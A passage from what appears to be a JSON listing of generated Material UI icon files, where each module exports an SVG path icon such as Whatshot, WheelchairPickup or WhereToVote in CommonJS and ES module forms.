    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.75 13.96c.25.13.41.2.46.3.06.11.04.61-.21 1.18-.2.56-1.24 1.1-1.7 1.12-.46.02-.47.36-2.96-.73-2.49-1.09-3.99-3.75-4.11-3.92-.12-.17-.96-1.38-.92-2.61.05-1.22.69-1.8.95-2.04.24-.26.51-.29.68-.26h.47c.15 0 .36-.06.55.45l.69 1.87c.06.13.1.28.01.44l-.27.41-.39.42c-.12.12-.26.25-.12.5.12.26.62 1.09 1.32 1.78.91.88 1.71 1.17 1.95 1.3.24.14.39.12.54-.04l.81-.94c.19-.25.35-.19.58-.11l1.67.88M12 2a10 10 0 0 1 10 10 10 10 0 0 1-10 10c-1.97 0-3.8-.57-5.35-1.55L2 22l1.55-4.65A9.969 9.969 0 0 1 2 12 10 10 0 0 1 12 2m0 2a8 8 0 0 0-8 8c0 1.72.54 3.31 1.46 4.61L4.5 19.5l2.89-.96A7.95 7.95 0 0 0 12 20a8 8 0 0 0 8-8 8 8 0 0 0-8-8z\"\n}), 'WhatsApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Whatshot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M11.71 19c-1.78 0-3.22-1.4-3.22-3.14 0-1.62 1.05-2.76 2.81-3.12 1.77-.36 3.6-1.21 4.62-2.58.39 1.29.59 2.65.59 4.04 0 2.65-2.15 4.8-4.8 4.8\"\n}), 'Whatshot');"
  },
  {
    "path": "packages/mui-icons-material/lib/Whatshot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M11.71 19c-1.78 0-3.22-1.4-3.22-3.14 0-1.62 1.05-2.76 2.81-3.12 1.77-.36 3.6-1.21 4.62-2.58.39 1.29.59 2.65.59 4.04 0 2.65-2.15 4.8-4.8 4.8\"\n}), 'Whatshot');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.57 13.16c-1.36.28-2.17 1.16-2.17 2.41 0 1.34 1.11 2.42 2.49 2.42 2.05 0 3.71-1.66 3.71-3.71 0-1.07-.15-2.12-.46-3.12-.79 1.07-2.2 1.72-3.57 2M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M12 20c-3.31 0-6-2.69-6-6 0-1.53.3-3.04.86-4.43 1.01 1.01 2.41 1.63 3.97 1.63 2.66 0 4.75-1.83 5.28-4.43C17.34 8.97 18 11.44 18 14c0 3.31-2.69 6-6 6\"\n}), 'WhatshotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.57 13.16c-1.36.28-2.17 1.16-2.17 2.41 0 1.34 1.11 2.42 2.49 2.42 2.05 0 3.71-1.66 3.71-3.71 0-1.07-.15-2.12-.46-3.12-.79 1.07-2.2 1.72-3.57 2M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M12 20c-3.31 0-6-2.69-6-6 0-1.53.3-3.04.86-4.43 1.01 1.01 2.41 1.63 3.97 1.63 2.66 0 4.75-1.83 5.28-4.43C17.34 8.97 18 11.44 18 14c0 3.31-2.69 6-6 6\"\n}), 'WhatshotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.09 4.56c-.7-1.03-1.5-1.99-2.4-2.85-.35-.34-.94-.02-.84.46.19.94.39 2.18.39 3.29 0 2.06-1.35 3.73-3.41 3.73-1.54 0-2.8-.93-3.35-2.26-.1-.2-.14-.32-.2-.54-.11-.42-.66-.55-.9-.18-.18.27-.35.54-.51.83C4.68 9.08 4 11.46 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8c0-3.49-1.08-6.73-2.91-9.44M11.71 19c-1.78 0-3.22-1.4-3.22-3.14 0-1.62 1.05-2.76 2.81-3.12 1.47-.3 2.98-.93 4.03-1.92.28-.26.74-.14.82.23.23 1.02.35 2.08.35 3.15.01 2.65-2.14 4.8-4.79 4.8\"\n}), 'WhatshotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.09 4.56c-.7-1.03-1.5-1.99-2.4-2.85-.35-.34-.94-.02-.84.46.19.94.39 2.18.39 3.29 0 2.06-1.35 3.73-3.41 3.73-1.54 0-2.8-.93-3.35-2.26-.1-.2-.14-.32-.2-.54-.11-.42-.66-.55-.9-.18-.18.27-.35.54-.51.83C4.68 9.08 4 11.46 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8c0-3.49-1.08-6.73-2.91-9.44M11.71 19c-1.78 0-3.22-1.4-3.22-3.14 0-1.62 1.05-2.76 2.81-3.12 1.47-.3 2.98-.93 4.03-1.92.28-.26.74-.14.82.23.23 1.02.35 2.08.35 3.15.01 2.65-2.14 4.8-4.79 4.8\"\n}), 'WhatshotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M11.71 19c-1.78 0-3.22-1.4-3.22-3.14 0-1.62 1.05-2.76 2.81-3.12 1.77-.36 3.6-1.21 4.62-2.58.39 1.29.59 2.65.59 4.04 0 2.65-2.15 4.8-4.8 4.8\"\n}), 'WhatshotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M11.71 19c-1.78 0-3.22-1.4-3.22-3.14 0-1.62 1.05-2.76 2.81-3.12 1.77-.36 3.6-1.21 4.62-2.58.39 1.29.59 2.65.59 4.04 0 2.65-2.15 4.8-4.8 4.8\"\n}), 'WhatshotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.11 6.77c-.53 2.6-2.62 4.43-5.28 4.43-1.56 0-2.96-.62-3.97-1.63C6.3 10.96 6 12.47 6 14c0 3.31 2.69 6 6 6s6-2.69 6-6c0-2.56-.66-5.03-1.89-7.23m-4.22 11.22c-1.37 0-2.49-1.08-2.49-2.42 0-1.25.81-2.13 2.17-2.41 1.37-.28 2.78-.93 3.57-1.99.3 1 .46 2.05.46 3.12 0 2.04-1.66 3.7-3.71 3.7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.57 13.16c-1.36.28-2.17 1.16-2.17 2.41 0 1.34 1.11 2.42 2.49 2.42 2.05 0 3.71-1.66 3.71-3.71 0-1.07-.15-2.12-.46-3.12-.79 1.07-2.2 1.72-3.57 2M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M12 20c-3.31 0-6-2.69-6-6 0-1.53.3-3.04.86-4.43 1.01 1.01 2.41 1.63 3.97 1.63 2.66 0 4.75-1.83 5.28-4.43C17.34 8.97 18 11.44 18 14c0 3.31-2.69 6-6 6\"\n}, \"1\")], 'WhatshotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatshotTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.11 6.77c-.53 2.6-2.62 4.43-5.28 4.43-1.56 0-2.96-.62-3.97-1.63C6.3 10.96 6 12.47 6 14c0 3.31 2.69 6 6 6s6-2.69 6-6c0-2.56-.66-5.03-1.89-7.23m-4.22 11.22c-1.37 0-2.49-1.08-2.49-2.42 0-1.25.81-2.13 2.17-2.41 1.37-.28 2.78-.93 3.57-1.99.3 1 .46 2.05.46 3.12 0 2.04-1.66 3.7-3.71 3.7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.57 13.16c-1.36.28-2.17 1.16-2.17 2.41 0 1.34 1.11 2.42 2.49 2.42 2.05 0 3.71-1.66 3.71-3.71 0-1.07-.15-2.12-.46-3.12-.79 1.07-2.2 1.72-3.57 2M13.5.67s.74 2.65.74 4.8c0 2.06-1.35 3.73-3.41 3.73-2.07 0-3.63-1.67-3.63-3.73l.03-.36C5.21 7.51 4 10.62 4 14c0 4.42 3.58 8 8 8s8-3.58 8-8C20 8.61 17.41 3.8 13.5.67M12 20c-3.31 0-6-2.69-6-6 0-1.53.3-3.04.86-4.43 1.01 1.01 2.41 1.63 3.97 1.63 2.66 0 4.75-1.83 5.28-4.43C17.34 8.97 18 11.44 18 14c0 3.31-2.69 6-6 6\"\n}, \"1\")], 'WhatshotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v6h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickup');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v6h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickup');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v6h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v6h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1v6c0 .55.45 1 1 1h2.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm2.5-3h-4V9c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1h4.46l1.92 2.88c.31.46.93.58 1.39.28.46-.31.58-.93.28-1.39l-2.21-3.32c-.19-.28-.51-.45-.84-.45\"\n}), 'WheelchairPickupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h1v6c0 .55.45 1 1 1h2.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm2.5-3h-4V9c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1h4.46l1.92 2.88c.31.46.93.58 1.39.28.46-.31.58-.93.28-1.39l-2.21-3.32c-.19-.28-.51-.45-.84-.45\"\n}), 'WheelchairPickupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V7H3v8h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V7H3v8h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v6h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WheelchairPickupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m5.5 6.95V9c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v6h2v7h3.5v-.11c-1.24-1.26-2-2.99-2-4.89 0-2.58 1.41-4.84 3.5-6.05M16.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3c0-1.11.61-2.06 1.5-2.58v-2.16c-2.02.64-3.5 2.51-3.5 4.74 0 2.76 2.24 5 5 5s5-2.24 5-5zm3.04-3H15V8h-2v8h5.46l2.47 3.71 1.66-1.11z\"\n}), 'WheelchairPickupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c3.86 0 7 3.14 7 7 0 5.25-7 13-7 13S5 14.25 5 9c0-3.86 3.14-7 7-7m-1.53 12L17 7.41 15.6 6l-5.13 5.18L8.4 9.09 7 10.5z\"\n}), 'WhereToVote');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c3.86 0 7 3.14 7 7 0 5.25-7 13-7 13S5 14.25 5 9c0-3.86 3.14-7 7-7m-1.53 12L17 7.41 15.6 6l-5.13 5.18L8.4 9.09 7 10.5z\"\n}), 'WhereToVote');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C7.59 1 4 4.59 4 9c0 5.57 6.96 13.34 7.26 13.67l.74.82.74-.82C13.04 22.34 20 14.57 20 9c0-4.41-3.59-8-8-8m0 19.47C9.82 17.86 6 12.54 6 9c0-3.31 2.69-6 6-6s6 2.69 6 6c0 3.83-4.25 9.36-6 11.47m-1.53-9.3L8.71 9.4l-1.42 1.42L10.47 14l6.01-6.01-1.41-1.42z\"\n}), 'WhereToVoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C7.59 1 4 4.59 4 9c0 5.57 6.96 13.34 7.26 13.67l.74.82.74-.82C13.04 22.34 20 14.57 20 9c0-4.41-3.59-8-8-8m0 19.47C9.82 17.86 6 12.54 6 9c0-3.31 2.69-6 6-6s6 2.69 6 6c0 3.83-4.25 9.36-6 11.47m-1.53-9.3L8.71 9.4l-1.42 1.42L10.47 14l6.01-6.01-1.41-1.42z\"\n}), 'WhereToVoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m-1.77 10.66-1.41-1.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.83-2.83c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-3.54 3.54c-.38.38-1.02.38-1.41-.01\"\n}), 'WhereToVoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m-1.77 10.66-1.41-1.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.83-2.83c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-3.54 3.54c-.38.38-1.02.38-1.41-.01\"\n}), 'WhereToVoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteSharp.js",
